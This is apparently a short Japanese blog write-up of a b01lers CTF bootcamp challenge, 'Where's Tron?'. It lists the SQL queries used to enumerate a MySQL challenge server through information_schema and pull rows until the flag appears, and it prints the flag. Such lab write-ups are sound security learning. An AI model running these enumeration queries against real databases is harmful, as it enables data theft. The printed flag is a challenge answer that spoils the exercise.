はまやんはまやんはまやん

hamayanhamayan's blog

Where's Tron? [b01lers CTF bootcamp]

Where's Tron?
We've lost Tron on the grid, find him using this uplink!
http://chal.ctf.b01lers.com:3004
server.py

SQLを色々試す

コードを見ると、クエリの末尾にLIMIT 20;を付けて応答が得られる。
MySQLが動いているっぽいので、色々入れて中身を見てみよう。

select @@version -> 5.7.31

select distinct table_schema from information_schema.tables -> information_schema, grid

select table_name from information_schema.tables where table_schema='grid' -> known_isomorphic_algorithms,programs,to_derezz

select column_name from information_schema.columns where table_name='known_isomorphic_algorithms' -> id,name,status,location
他のテーブルもこのカラム

select concat(id,'_',name,'_',status,'_',location) from known_isomorphic_algorithms #で全部取ってきてもflag{???}のものはない。

select concat(id,'_',name,'_',status,'_',location) from programs #で全部取ってくると、フラグを見つけることができた。
flag{I_fight_for_the_users_and_yori}